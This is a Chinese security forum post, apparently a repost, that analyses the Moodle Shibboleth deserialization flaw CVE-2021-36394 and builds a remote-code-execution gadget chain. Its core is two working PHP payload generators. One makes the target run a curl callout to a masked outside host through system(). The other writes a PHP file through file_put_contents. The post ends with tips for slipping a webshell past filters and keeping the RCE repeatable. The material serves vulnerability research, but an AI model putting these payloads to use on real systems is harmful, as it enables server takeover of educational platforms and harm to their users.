安全矩阵

 找回密码
 立即注册
搜索
查看: 2754|回复: 0

CVE-2021-36394-Moodle Shibboleth PHP反序列化利用链构造之二

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-10-26 10:00:45 | 显示全部楼层 |阅读模式
原文链接:CVE-2021-36394-Moodle Shibboleth PHP反序列化利用链构造之二

引言
之前已经就CVE-2021-36394 Moodle Shibboleth认证模块反序列化漏洞原理进行了详细分析,并且给出了一条可实现修改管理员密码的利用链:
原理分析及修改管理员密码利用链
QCyber,公众号:且听安全CVE-2021-36394-Moodle RCE漏洞分析及PHP反序列化利用链构造之旅
最近发现有小伙伴放出了RCE的利用链,瞅了下确实可行,还是自己功力不够啊,这里分享下对这条利用链的分析过程。
利用链构造
和前面实现修改管理员密码的利用链一样,触发点还是定在`core\lock\lock#`类,`__destruct`函数定义如下:

存在字符串拼接,并且参数`$this->key`可控,现在就需要寻找`__toString`函数。

注意到`core_availability\tree#__toString`:

里面存在`foreach`遍历,`$this->children`可控,搜索`current`函数。

注意到`core\dml\recordset_walk#current`:

存在`call_user_func`调用,是潜在的可用对象。参数`$this->callback`、`$this->callbackextra`都可控,重点分析下参数`$this->recordset->current()`,看下定义:

可见`$this->recordset`应该继承于`moodle_recordset`这样一个抽象类,`moodle_recordset`继承于接口`Iterator`,先找下`moodle_recordset`全部子类:

从上面所以潜在的子类来分析,以位于`question/engine/tests/helpers.php`的`question_test_recordset`类进行测试,构造如下生成代码:
  1. <?php
  2. namespace core\lock {
  3.     class lock {
  4.         public function __construct($class)
  5. {
  6.             $this->key = $class;
  7.         }
  8.     }
  9. }
  10. namespace core_availability{
  11.     class tree {
  12.         public function __construct($class)
  13. {
  14.             $this->children = $class;
  15.         }
  16.     }
  17. }
  18. namespace core\dml{
  19.     class recordset_walk {
  20.         public function __construct($class)
  21. {
  22.             $this->recordset = $class;
  23.             $this->callbackextra = "test";
  24.             $this->callback = "system";

  25.         }
  26.     }
  27. }
  28. namespace {
  29.     class question_test_recordset{
  30.         public function __construct(){
  31.             $this->records = array("curl http://***:1111/cccc");
  32.         }
  33.     }
  34.     $recordset=new question_test_recordset();
  35.     $walk = new core\dml\recordset_walk($recordset);
  36.     $tree = new core_availability\tree($walk);
  37.     $lock = new core\lock\lock($tree);
  38.     echo serialize($lock);
  39. }
复制代码

发现Moodle并没有加载这个类,反序列化操作中`$this->children`为`null`,无法触发`current`函数。这个地方卡住很久,扩大到实现接口`Iterator`的类,最后定位`question/engine/questionusage.php`中的类`question_attempt_iterator`,同样这个类默认Moodle也没有加载,但是我们找到一个辅助类`core_question_external`:


写文件Gadget
可以通过`question_attempt_iterator`类进行辅助,构造一个文件写的Gadget代码如下:
  1. <?php
  2. namespace core\lock {
  3.     class lock {
  4.         public function __construct($class)
  5. {
  6.             $this->key = $class;
  7.         }
  8.     }
  9. }
  10. namespace core_availability{
  11.     class tree {
  12.         public function __construct($class)
  13. {
  14.             $this->children = $class;
  15.         }
  16.     }
  17. }
  18. namespace core\dml{
  19.     class recordset_walk {
  20.         public function __construct($class)
  21. {
  22.             $this->recordset = $class;
  23.             $this->callbackextra = "aaaaaaaa";
  24.             $this->callback = "file_put_contents";

  25.         }
  26.     }
  27. }
  28. namespace {
  29.     class question_attempt_iterator{
  30.         public function __construct($class)
  31. {
  32.             $this->slots = array(
  33.                 "xxx" => "key"
  34.             );
  35.             $this->quba = $class;
  36.         }
  37.     }
  38.     class question_usage_by_activity{
  39.         public function __construct()
  40. {
  41.             $this->questionattempts = array(
  42.                 "key" => "aaaa.php"
  43.             );
  44.         }
  45.     }
  46.     class core_question_external{}
  47.     $add_lib = new core_question_external();
  48.     $activity = new question_usage_by_activity();
  49.     $iterator = new question_attempt_iterator($activity);
  50.     $walk = new core\dml\recordset_walk($iterator);
  51.     $tree = new core_availability\tree($walk);
  52.     $lock = new core\lock\lock($tree);
  53.     $arr = array($add_lib, $lock);
  54.     echo serialize($arr);
  55. }
复制代码

效果:

后记
由于存在过滤,直接写入php webshell是不行的,但是结合实际情况,稍微转换下还是可行的。这里需要补充说明的是,由于在反序列化时,默认会将全部`sess_***`文件循环进行处理,所以在创建一个session文件后,应该主动调用`/login/logout.php`完成session注销(删除对应`sess_***`文件),否则RCE可能只有第一次有效。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 20:17 , Processed in 0.016053 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表